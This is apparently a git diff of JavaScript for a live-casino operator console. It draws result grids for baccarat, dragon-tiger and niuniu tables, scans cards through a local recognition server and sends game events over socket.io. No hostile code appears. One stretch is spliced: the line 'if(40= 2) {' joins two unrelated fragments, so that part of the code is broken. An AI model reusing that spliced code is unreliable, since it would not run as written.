ctb.lineTo(unit*j,height); + } + ctb.closePath() + ctb.stroke(); + if(data.status){ + switch(true){ + // 判断是否滚动 + case Id=="#canvas3": + var showRoad=data.waybill.showRoad; + if(showRoad!=''){ + var roadType="showWay" + cutRoad(roadType,ctb,unit,showRoad,cols,ask,askroad.askshowroad); + + } + break; + } + } +} +//龙虎珠路 +function CanvasTableDt(Id,unit,rows,cols,data,ask,askroad){ + var width=unit*cols, + height=unit*rows; + + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j,0); + ctb.lineTo(unit*j,height); + } + ctb.closePath() + ctb.stroke(); + if(data.status){ + switch(true){ + // 判断是否滚动 + case Id=="#canvas3": + var showRoad=data.waybill.showRoad; + if(showRoad!=''){ + var roadType="showWay" + cutRoad(roadType,ctb,unit,showRoad,cols,ask,askroad.askshowroad); + + } + break; + } + } +} +//色碟露珠 +function CanvasTableToning(Id,unit,rows,cols,data,ask,askroad){ + var width=unit*cols, + height=unit*rows; + + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j,0); + ctb.lineTo(unit*j,height); + } + ctb.closePath() + ctb.stroke(); + if(data.status){ + switch(true){ + // 判断是否滚动 + case Id=="#canvas3": + var showRoad=data.waybill; + if(showRoad!=''){ + var roadType="showWay" + cutRoad(roadType,ctb,unit,showRoad,cols,ask,askroad.askshowroad); + } + break; + } + } +} +//牛牛珠路 +function CanvasTableNn(Id,unit,rows,cols,data){ + + var width=unit*cols, + height=unit*rows; + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j*2,0); + ctb.lineTo(unit*j*2,height); + } + ctb.closePath() + ctb.stroke(); + + ctb.beginPath(); + ctb.lineWidth = 1.5;//线条宽度 + ctb.strokeStyle = "#000";//线条颜色 + ctb.moveTo(0, unit*4); + ctb.lineTo(width, unit*4); + ctb.moveTo(0, unit*8); + ctb.lineTo(width, unit*8); + ctb.closePath() + ctb.stroke(); + title(ctb,unit,1,1,1); + title(ctb,unit,1,2,2); + title(ctb,unit,1,3,3); + title(ctb,unit,1,4,4); + title(ctb,unit,1,5,1); + title(ctb,unit,1,6,2); + title(ctb,unit,1,7,3); + title(ctb,unit,1,8,4); + // title(ctb,unit,1,9,1); + // title(ctb,unit,1,10,2); + // title(ctb,unit,1,11,3); + // title(ctb,unit,1,12,4); + cutRoadNn(ctb,unit,data.waybill,cols); +} +// 前端路单数据截取 +function cutRoad(roadType,ctb,unit,roadData,cols,ask,askroad){ + var L=roadData.length; + var new_roadData=[]; + var Tab=0 + if(roadType=="showWay"||roadType=="bigWay"){ + if(ask&&askroad){ + Tab=cols; + }else{ + Tab=cols-1; + } + }else{ + if(ask&&askroad){ + Tab=cols-1; + }else{ + Tab=cols-2; + } + } + var start_x=cols/2+0.25; + if(L>=1){ + var last_x=roadData[L-1].show_x + if(last_x>Tab){ + var cut=last_x-Tab + $.each(roadData,function(i,v){ + if(v.show_x>cut){ + new_roadData.push(v) + } + }) + }else{ + new_roadData=roadData; + cut=0; + } + }else{ + new_roadData=roadData; + cut=0; + } + $.each(new_roadData,function(i,v){ + if(roadType=="showWay"){ + SoloPath(ctb,unit,v.show_x-cut,v.show_y,v.result,v.pair) + } + }) +} +////nn 前端路单数据截取 +function cutRoadNn(ctb,unit,data,cols){ + var L=data.length/4; + var new_roadData=[]; + var Tab=0; + last_x = (cols/2-1)*2-1; + if(L > (cols/2-1)*2-1){ + var cut = L - last_x; + $.each(data,function(i,v){ + if(v.show_x>cut){ + new_roadData.push(v) + } + }) + $.each(new_roadData,function(i,v){ + v.show_x = v.show_x - cut; + if(v.show_x<=(cols/2-1)){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + } + }else if(v.show_x<=cols-2){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + } + } + }) + }else{ + if(data){ + $.each(data,function(i,v){ + if(v.show_x<=(cols/2-1)){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + } + }else if(v.show_x<=cols-2){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + } + } + }) + } + } +} +// 局数 数,文字X坐标,文字Y坐标,文字大小风格 +function Font_tie(ctb,num,Font_x,Font_y,fontsize){ + if(num!==undefined){ + ctb.beginPath(); + ctb.font=fontsize; + ctb.textAlign = 'center'; + ctb.textBaseline = 'middle'; + ctb.fillStyle ="#242424"; + ctb.fillText(num,Font_x,Font_y); + ctb.stroke(); + } +} +function SoloPath(ctb,unit,x,y,type,corners){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if (game_id == 6){ + if(type==0){ + var color='#5A5A5A'; + var fonts="0"; + ctb.strokeStyle = "#5A5A5A"; + }else if(type==1){ + var color='#5495F4'; + var fonts="1"; + ctb.strokeStyle = "#5495F4"; + }else if(type==2){ + var color='#70B252'; + var fonts="2"; + ctb.strokeStyle = "#70B252"; + }else if(type==3){ + var color='#F4BB4C'; + var fonts="3"; + ctb.strokeStyle = "#F4BB4C"; + }else if(type==4){ + var color='#E35C4C'; + var fonts="4"; + ctb.strokeStyle = "#E35C4C"; + } + } else { + if(type==1){ + var color='#ff002a'; + var fonts=""; + if(game_id==1){fonts=lang.banker;} + else if(game_id==2){ fonts=lang.dragon;} + ctb.strokeStyle = "#ff4a68"; + }else if(type==2){ + var color='#3a38f0'; + var fonts=""; + if(game_id==1){fonts=lang.player;} + else if(game_id==2){ fonts=lang.tiger;} + ctb.strokeStyle = "#7e7df6"; + }else if(type==3){ + var color='#44d024'; + var fonts=""; + if(game_id==1){fonts=lang.tie;} + else if(game_id==2){ fonts=lang.tie;} + ctb.strokeStyle = "#71df57"; + } + } + + ctb.arc(radius+unit*(x-1), radius+unit*(y-1), unit*0.45, 0, Math.PI * 2); + ctb.fillStyle=color; + ctb.fill(); + ctb.font=unit*0.6+"px Arial"; + ctb.fillStyle ="#fff" ; // 颜色 + ctb.textAlign = 'center'; + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,radius+unit*(x-1),radius+unit*(y-1)); + ctb.stroke(); + var corner_xy=unit/3.5 + if(corners==1){ + corner(ctb,unit,x,y,corner_xy,'#ff2202'); + }else if(corners==2){ + corner(ctb,unit,x,y,-corner_xy,'#0337ff'); + }else if(corners==3){ + corner(ctb,unit,x,y,corner_xy,'#ff2202'); + corner(ctb,unit,x,y,-corner_xy,'#0337ff'); + } +} +//角标 +function corner(ctb,unit,x,y,corner_xy,corner_color){ + var radius=unit/2 + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#fff"; + ctb.arc(radius+unit*(x-1)-corner_xy, radius+unit*(y-1)-corner_xy, unit*0.13, 0, Math.PI * 2); + ctb.fillStyle=corner_color; + ctb.fill(); + ctb.stroke(); +} +/*牛牛*/ +function showPath(ctb,unit,x,y,type,result,is_win){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if(type==1){ + var font_color = '#b20a00'; + }else{ + var font_color = '#1e14d3'; + } + if(result == 0){ + var fonts = 'N0'; + }else if(result == 1){ + var fonts = 'N1'; + }else if(result == 2){ + var fonts = 'N2'; + }else if(result == 3){ + var fonts = 'N3'; + }else if(result == 4){ + var fonts = 'N4'; + }else if(result == 5){ + var fonts = 'N5'; + }else if(result == 6){ + var fonts = 'N6'; + }else if(result == 7){ + var fonts = 'N7'; + }else if(result == 8){ + var fonts = 'N8'; + }else if(result == 9){ + var fonts = 'N9'; + }else if(result == 10){ + var fonts = 'NN'; + }else if(result == 11){ + var fonts = 'WG'; + } + //背景色 + if(is_win == 1){ + if(type == 1){ + ctb.fillStyle = '#b20a00' ; // 颜色 + }else{ + ctb.fillStyle = '#1e14d3' ; // 颜色 + } + ctb.fillRect(unit*x*2,unit*(y-0.25),unit*2,unit*0.25); + ctb.fill(); + win(ctb,unit,x,y); + } + //文字 + ctb.font=unit*0.45+"px Arial";//字的大小 + ctb.fillStyle = font_color ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,2*x*unit+unit,radius+unit*(y-1)); + ctb.stroke(); +} +/*三卡牛牛*/ +function showPath_tc(ctb,unit,x,y,type,result,is_win){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if(type==1){ + var font_color = '#b20a00'; + }else{ + var font_color = '#1e14d3'; + } + if(result == 1){ + var fonts = '牛1'; + }else if(result == 2){ + var fonts = '牛2'; + }else if(result == 3){ + var fonts = '牛3'; + }else if(result == 4){ + var fonts = '牛4'; + }else if(result == 5){ + var fonts = '牛5'; + }else if(result == 6){ + var fonts = '牛6'; + }else if(result == 7){ + var fonts = '牛7'; + }else if(result == 8){ + var fonts = '牛8'; + }else if(result == 9){ + var fonts = '牛9'; + }else if(result == 10){ + var fonts = '牛牛'; + }else if(result == 11){ + var fonts = '豹子'; + }else if(result == 12){ + var fonts = '同花顺'; + }else if(result == 13){ + var fonts = '皇家同花顺'; + } + //背景色 + if(is_win == 1){ + if(type == 1){ + ctb.fillStyle = '#b20a00' ; // 颜色 + }else{ + ctb.fillStyle = '#1e14d3' ; // 颜色 + } + ctb.fillRect(unit*x*2,unit*(y-0.25),unit*2,unit*0.25); + ctb.fill(); + win(ctb,unit,x,y); + } + //文字 + if(result == 13){ + ctb.font=unit*0.38+"px Arial";//字的大小 + }else{ + ctb.font=unit*0.45+"px Arial";//字的大小 + } + + ctb.fillStyle = font_color ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,2*x*unit+unit,radius+unit*(y-1)); + ctb.stroke(); +} +function win(ctb,unit,x,y){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + fonts = 'WIN'; + ctb.font=unit*0.25+"px Arial";//字的大小 + ctb.fillStyle = '#fff' ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,2*x*unit+unit,unit*(y-0.11)); + ctb.stroke(); +} +function flop_position(data){ + pokercard=data.round.card; + pokersrc="/static/poker/"+pokercard+".png"; + $('.begincard .position-card .card').css("opacity",1); + $('.begincard .position-card .card').find(".face").css("background-image","url("+pokersrc+")"); + pokercard = parseInt(pokercard); + var _position = (pokercard % 100) % 4; + switch (_position) { + case 0: + $('.box1').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + case 1: + $('.box2').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + case 2: + $('.box3').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + case 3: + $('.box4').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + } +} +function flop_card(data){ + order_num = data.round.order_num; + card_cow = order_num.substring(0,1); + card_list = order_num.substring(1,2) - 1; + if(card_cow == 1){ + box_name = 'player-1-card'; + if(data.round.result){ + $('.player_1_result').html(data.round.result); + } + }else if(card_cow == 2){ + box_name = 'player-2-card'; + if(data.round.result){ + $('.player_2_result').html(data.round.result); + } + }else if(card_cow == 3){ + box_name = 'player-3-card'; + if(data.round.result){ + $('.player_3_result').html(data.round.result); + } + }else if(card_cow == 4){ + box_name = 'banker-card'; + if(data.round.result){ + $('.banker_result').html(data.round.result); + } + } + if(40= 2) { + query.card = poker; + query.position = position[card.index - 1]; + + sendScanBaccarat(query); + + } else { + if (_cardRecord['card'] != poker) { + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[card.index] = _cardRecord; + } + } + } + } + + } + }); + //} + + }, 250); + + console.log('scan cards stop...'); +} + +function doDtScanCards() { + var card = new Object(); + card.casinoTableId = casinoTableId; + + // 用局部变量 + var cardScanRecord = new Array(); + //var scanPosition = 1; + + var dtPosition = [21, 11]; + + card.count = 2; + + var api = '/recognition_multi'; + + scanTask = setInterval(function() { + console.log('scan cards start...'); + + //if(!stopScan){ + $.ajax({ + url: localSbServer + api, + type: 'POST', + dataType: 'JSON', + data: JSON.stringify(card), + success: function(data) { + if (data.code == '2000') { + console.log(data.poker); + + // Dragon: 21 + // Tiger: 11 + + var cards = spCard(data.poker); + cards.forEach(function (v, k) { + var query = new Object(); + + if (!v.includes('n')) { + if (cardScanRecord[k] === undefined) { + var _cardRecord = new Object(); + _cardRecord['card'] = v; + _cardRecord['time'] = 1; + cardScanRecord[k] = _cardRecord; + } else { + _cardRecord = cardScanRecord[k]; + if (_cardRecord['card'] == v && _cardRecord['time'] >= 2) { + query.card = v; + query.position = dtPosition[k]; + + sendScanDt(query); + + } else { + if (_cardRecord['card'] != v) { + _cardRecord['card'] = v; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[k] = _cardRecord; + } + } + } + + }); + + } + + } + }); + //} + + }, 200); + + console.log('scan cards stop...'); +} + +function doNnScanPositionCard() { + var card = new Object(); + card.casinoTableId = casinoTableId; + card.index = 21; //先扫定位牌 + var cardScanRecord = new Array(); + + var api = '/recognition'; + + positionScanTask = setInterval(function() { + console.log('scan postion[21] card start...postion:' + scanPosition); + $.ajax({ + url: localSbServer + api, + type: 'POST', + dataType: 'JSON', + data: JSON.stringify(card), + success: function(data) { + + if (data.code == '2000') { + console.log(data.poker); + if (!data.poker.includes('n')) { + var poker = formatCardData(data.poker); + var query = new Object(); + query.card = poker; + if (cardScanRecord[card.index] === undefined) { + var _cardRecord = new Object(); + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + cardScanRecord[card.index] = _cardRecord; + } else { + _cardRecord = cardScanRecord[card.index]; + if (_cardRecord['card'] == poker && _cardRecord['time'] >= 3) { + //if (true) { + if (scanPosition == 21) { + query.position = 0; + sendScanNn(query); + + positionCard = parseInt(poker); + scanPosition = (positionCard % 100) % 4; + switch (scanPosition) { + case 2: + scanPosition = 6; + scanDefaultPosition = 'P2'; + $('.box3').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + case 3: + scanPosition = 11; + scanDefaultPosition = 'P3'; + $('.box4').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + case 0: + scanPosition = 16; + scanDefaultPosition = 'B'; + $('.box1').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + default: + scanPosition = 1; + scanDefaultPosition = 'P1'; + $('.box2').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + } + + isPositionScaned = true; + + console.log('scan postion[21] card end and sent ' + poker); + clearInterval(positionScanTask); + positionScanTask = null; + } + } else { + if (_cardRecord['card'] != poker) { + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[card.index] = _cardRecord; + } + } + + } + } + } + }); + + }, 100); +} + +function doNnScanCards() { + + //var position = ['11', '12', '21', '22', '13', '23']; + var card = new Object(); + card.casinoTableId = casinoTableId; + //card.index = 21; //先扫定位牌 + + var cardScanRecord = new Array(); + + var api = '/recognition'; + + scanTask = setInterval(function() { + console.log('scan cards start...postion:' + scanPosition); + + if (!isPositionScaned || positionScanTask != null || scanPosition == 0) { + console.log('定位牌未扫描。'); + return false; + } + card.index = scanPosition; + + $.ajax({ + url: localSbServer + api, + type: 'POST', + dataType: 'JSON', + data: JSON.stringify(card), + success: function(data) { + if (data.code == '2000') { + console.log(data.poker); + if (!data.poker.includes('n')) { + var poker = formatCardData(data.poker); + var query = new Object(); + query.card = poker; + + if (cardScanRecord[card.index] === undefined) { + var _cardRecord = new Object(); + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + cardScanRecord[card.index] = _cardRecord; + } else { + _cardRecord = cardScanRecord[card.index]; + if (_cardRecord['card'] == poker && _cardRecord['time'] >= 3) { + //if (true) { + if (scanPosition == 21) { + query.position = 0; + } + sendScanNn(query); + } else { + if (_cardRecord['card'] != poker) { + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[card.index] = _cardRecord; + } + } + + } + } + } + }); + }, 200); + console.log('scan cards stop...'); +} + + +function spCard(data) { + var cc = data.split('_'); + cc.forEach(function (v, k) { + if (!v.includes('n')) { + cc[k] = formatCardData(v); + } + }); + return cc; +} +function formatCardData(card) { + // card: b-1 + var s = card.substr(0, 1); + var c = card.substr(2, 1); + var h = ''; + var n = ''; + switch(s) { + case 'b':h = '1';break; + case 'r':h = '2';break; + case 'm':h = '3';break; + default:h = '4';break; + } + switch(c) { + case '1': n = '01'; break; + case '2': n = '02'; break; + case '3': n = '03'; break; + case '4': n = '04'; break; + case '5': n = '05'; break; + case '6': n = '06'; break; + case '7': n = '07'; break; + case '8': n = '08'; break; + case '9': n = '09'; break; + case '0': n = '10'; break; + case 'j': n = '11'; break; + case 'q': n = '12'; break; + default : n = '13'; break; + } + var result = h + n; + return result; +} +function cardToServer(card) { + // card: 3d + if (card == undefined && card.length != 2) { + return 'None'; + } + + var s = card.substr(0, 1); + s = s.toLowerCase(); + var c = card.substr(1, 1); + var h = ''; + var n = ''; + switch(c) { + case 's': h = '1'; break; + case 'h': h = '2'; break; + case 'c': h = '3'; break; + default: h = '4'; break; + } + switch(s) { + case '1': n = '01'; break; + case '2': n = '02'; break; + case '3': n = '03'; break; + case '4': n = '04'; break; + case '5': n = '05'; break; + case '6': n = '06'; break; + case '7': n = '07'; break; + case '8': n = '08'; break; + case '9': n = '09'; break; + case 't': n = '10'; break; + case 'j': n = '11'; break; + case 'q': n = '12'; break; + case 'a': n = '01'; break; + default : n = '13'; break; + } + + var result = h + n; + return result; +} \ No newline at end of file diff --git a/public/static/handle/js/handle_b_sb_scan_four.js b/public/static/handle/js/handle_b_sb_scan_four.js new file mode 100644 index 0000000..3992dc4 --- /dev/null +++ b/public/static/handle/js/handle_b_sb_scan_four.js @@ -0,0 +1,2892 @@ +var userid = parseInt($('#userid').val()); +var login_token = $('#login_token').val(); +var table_id = parseInt($('#table_id').val()); +var game_id = parseInt($('#game_id').val()); +var account = $('#account').val(); +var number_tab_id; +var ludan; +var isCBoot = false; +var isopentime = false; +var num = 0; +var card_info=[]; +var isWin={ + win_player_1:null, + win_player_2:null, + win_player_3:null, + text:[] +}; + +// 识别相关 +var position = ['11', '12', '21', '22', '13', '23']; +var stopScan = false; +var scanTask = null; +var scanPosition = 1; +if (game_id == 4) { + scanPosition = 21; // 定位牌 +} + +// NN识别相关 +var scanDefaultPosition = 'P1'; // 默认定位区 +var positionScanTask = null; +var isPositionScaned = false; +var positionCard = 0; +var isCardScaned = false; +var currentPositionToChange = -1; + +// 百家乐修改相关 +var manualStopAi = false; + + +var initScanParams = function() { + clearInterval(scanTask); + scanTask = null; + stopScan = false; + scanPosition = 1; + if (game_id == 4) { + scanPosition = 21; + } + scanDefaultPosition = 'P1'; + clearInterval(positionScanTask); + positionScanTask = null; + + isPositionScaned = false; + positionCard = 0; + isCardScaned = false; + currentPositionToChange = -1; + + manualStopAi = false; + + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); +} +// 百家乐修改牌 +var openAllCardsPanel = function(dom) { + var positionOfCard = parseInt($(dom).attr('data-position')); + + if (positionOfCard > 0) { + if (manualStopAi) { + // 11, 12, 21, 22, 13, 23 + currentPositionToChange = positionOfCard; + if (currentPositionToChange == 23) { // 庄补 + $('#change_cards').show(); + } else if (currentPositionToChange == 13) { // 第一张补牌 + if (card_info['banker_3'] == undefined || card_info['banker_3'] == '') { + $('#change_cards').show(); + } else { + layer.msg('庄已补,不能修改。'); + } + } else { // 庄闲位置 + if ((card_info['player_3'] == undefined || card_info['player_3'] == '') && (card_info['banker_3'] == undefined || card_info['banker_3'] == '')) { + $('#change_cards').show(); + } else { + layer.msg('已补牌,不能修改。'); + } + } + } else { + layer.msg('请先手动停止AI识别。'); + } + + } +} +var changeErrSbCard = function() { + var poker = $("input[name='cardToChanged']:checked").val(); + var positionNum = 0; + + layer.confirm(lang.confirm_to_change_card,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + if (currentPositionToChange <= 0 ) { + layer.msg('出错。请刷新重试。'); + $('#change_cards').hide(); + return false; + } + + console.log('currentPositionToChange:' + currentPositionToChange); + + var query = new Object(); + + query.card = poker; + query.position = currentPositionToChange; + query.change = 1; + sendScanBaccarat(query, 1); + $('input:checked').removeAttr('checked'); + $('#change_cards').hide(); + layer.close(index); + }); +} +var cancelChangeErrSbCard = function() { + $('input:checked').removeAttr('checked'); + $('#change_cards').hide(); +} +// + +var websocket = io(websocketProtocol+"://"+websocketUrl+"/?table_id="+table_id+"&account="+account+"&connect=space&userid="+userid+"&login_token="+login_token,{transports: ['websocket']}); +websocket.on('reconnecting', (timeout) => { + //触发重连 + layer.msg('服务断开,正在重新连接...', { + icon: 16, + shade: 0.6, + time:0, + }); +}); +websocket.on('reconnect', (timeout) => { + //重连成功 + layer.closeAll(); + layer.msg('服务重新连接成功'); +}); +//事件 发送******************************************************************************************************************* +var startBet = function(){ + sbSocket.emit("stop",{"tableCode":casinoTableId, "type":"SYS"}); + websocket.emit('startBet',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var endBet = function (){ + websocket.emit('endBet',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var startRob = function(){ + websocket.emit('startRob',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var endRob = function(){ + websocket.emit('endRob',{table_id : table_id, number_tab_id : number_tab_id}); +}; + +// 重新SB +var restartSB = function(){ + manualStopAi = false; + //sbSocket.emit('start', {'tableCode': casinoTableId, 'type': 'SYS', 'biz': number_tab_id}); + sbSocket.emit("scanAllCards",{"tableCode":casinoTableId, "from":1, "count":6, "isEmptyAllowed":"Yes", 'type': 'SYS', "biz": number_tab_id}); +}; +var stopSB = function(){ + manualStopAi = true; + sbSocket.emit("stop",{"tableCode":casinoTableId, "type":"SYS"}); +}; + +var resetNumberTab = function(){ + isCBoot = true; + var betStatus = $("#number_tab_status").val(); + if(betStatus == 1 || betStatus == 2){ + layer.confirm(lang.is_reset_number,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('resetNumberTab',{table_id : table_id}); + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); + }else{ + layer.msg(lang.reset_number_fail); + } +}; +var changeBoot = function(){ + isCBoot = true; + var betStatus = $("#number_tab_status").val(); + if(betStatus == 0 || betStatus == 3){ + layer.confirm(lang.is_to_boot,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('changeBoot',{table_id : table_id}); + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); + }else{ + layer.msg(lang.change_boot_false); + } +}; +var resetBoot = function(){ + layer.confirm(lang.is_to_balance,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('resetBoot',{table_id : table_id}); + layer.close(index); + }); +}; +var opening = function(){ + $('.control-box .btn-box2 span').removeClass('on'); + if(game_id == 1){ + websocket.emit('openingBaccarat',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 2){ + websocket.emit('openingDt',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 4){ + websocket.emit('openingNn',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 5){ + websocket.emit('openingTc',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 6){ + let result = parseInt($('#toning_result').val()); + if (result == 0 || result == 1 || result == 2 || result == 3 || result == 4){ + websocket.emit('openingToning',{table_id : table_id, number_tab_id : number_tab_id, result : result}); + } + }else if(game_id == 7){ + let result = $('#dice_result').val(); + websocket.emit('openingDice',{table_id : table_id, number_tab_id : number_tab_id, result : result}); + } +}; + +// 百家乐发送数据 +var sendScanBaccarat = function(data, isChange = 0) { + if (isChange == 1) { + websocket.emit('sendScanBaccarat', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position, change: data.change}); + } else { + websocket.emit('sendScanBaccarat', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position}); + } +} + +// 龙虎发送数据 +var sendScanDt = function(data) { + websocket.emit('sendScanDt', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position}); +} + +// 牛牛发送数据 +var sendScanNn = function(data) { + websocket.emit('sendScanNn', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position}); +} + +// 色碟显示 +var showToningBox = function (){ + $('#toning_result_box').fadeIn(); +} +var hideToningBox = function (){ + $('#toning_result_box').fadeOut(); +} +// 骰宝显示 +var showDiceBox = function (){ + $('#dice_box').fadeIn(); +} +var hideDiceBox = function (){ + $('#dice_box').fadeOut(); +} +//事件 发送******************************************************************************************************************* +//事件返回********************************************************************************************************************* +websocket.on('onlineLogin',function(data){ + if (data.table_id === table_id) { + if(data.status === true){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status) + clearBetAmount(); + waybillFunc(); + if (data.round.number_tab_status.bet_status != undefined && data.round.number_tab_status.bet_status == 2){ + if(game_id == 4 || game_id == 5){ + showCardNn(data.round.show_card); + }else{ + showCard(data.round.show_card); + } + } + }else{ + layer.msg(lang[data.msg],{time:0}); + } + } + +}); +websocket.on('RepeatedEntry',function(data){ + websocket.close(); + layer.msg(lang[data.msg]); + setTimeout(function (){ + window.location.href='/login/logout'; + },2000); +}); +websocket.on('startBet',function(data){ + if(data.status === true && data.table_id === table_id){ + mp3List = ['start.mp3']; + audioMp3(mp3List).Play(); + setBetStatus(data.round.number_tab_status); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startRob',function(data){ + if(data.status === true && data.table_id == table_id){ + mp3List = ['start_rob.mp3']; + audioMp3(mp3List).Play(); + $("#number_rob_status").val(1); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startRobCountDown',function(data){ + if(data.status === true && data.table_id == table_id && data.count_down >= 0){ + $('.nobegin-tip').html('抢庄中'); + countDownRob(data.count_down); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('endRob',function(data){ + $('.nobegin-tip').html(''); + if(data.status === true && data.table_id == table_id){ + $('#number_rob_status').val(2); + startBet(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); + +websocket.on('sendScanChangeResult',function(data){ + if (game_id == 4 && data.status == false) { + layer.msg(data.msg); + } +}); + +websocket.on('sendScanResult',function(data){ + if(data.status === true && data.table_id == table_id){ + if(game_id == 1 || game_id == 2){ + Flop(data); + + // 识别相关 + if (scanner_type == 2 && game_id == 1 && data.round != undefined && data.round.position != undefined){ + var _position = parseInt(data.round.position); + switch(_position) { 